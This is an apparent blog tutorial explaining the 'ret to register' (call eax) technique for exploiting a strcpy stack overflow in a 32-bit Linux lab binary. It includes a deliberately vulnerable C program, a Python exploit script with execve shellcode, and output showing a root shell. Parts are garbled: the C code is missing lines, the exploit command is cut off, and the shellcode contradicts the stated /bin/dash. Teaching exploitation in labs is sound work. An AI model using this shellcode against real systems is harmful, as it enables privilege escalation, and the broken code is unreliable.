1. objdump
  2. ROPgadget

Binary protection:

  1. ASLR

Compilation: Dynamic

Architecture: x86

Operating System: Linux (Debian)

1. Explanation

Today I will show you an other method to exploit Return Oriented Programming. It name is “ret to register”. Thanks to register we will be able to execute a shellcode.

In assemby language (x86/x64) when we call a function, his return value is stored in the RAX/EAX register. For exemple, the strcpy return a pointer to the destination string. It means that if we overflow the saved “RIP/EIP” register with a gadget like “call eax/jmp eax” we will jump to the stack wich contain us shellcode !

This method is very usefull but it needed to have the NX bit disable.

2. Vulnerable binary

#include <string.h>

// gcc main.c -z execstack -fno-stack-protector -m32

char *vuln(char *str)
  char buf[128];

  strcpy(buf, str);

int main(int ac, char **av)
  return 0;

It’s a very simple program that contain an overflow to the “strcpy” call. We will use the overflow to exploit this program.

3. The payload

The payload will look like:

|    shellcode    |
|     padding     |
|    call eax     |

The only things we need is the “call eax” gadget, always thanks to ROPgadget:

$ ROPgadget --binary a.out | grep "call eax"
0x08048363 : call eax

For the shellcode, I choose simple “execve(‘/bin/dash’, NULL, NULL)”, 38 bytes lenght. And that’s it for the payload !

The whole payload will look:

#!/usr/bin/env python2.7

from struct import pack

# Shellcode execve("/bin/dash", NULL, NULL) (38 bytes)

shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

payload = shellcode + '\x90' * 102 # Padding

payload += pack("<I", 0x08048363) # call eax

print payload

4. Exploitation

We test our payload:

$ ./a.out $(python
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)


Quentin Meffre

Computer science student, passionate about Cyber Security.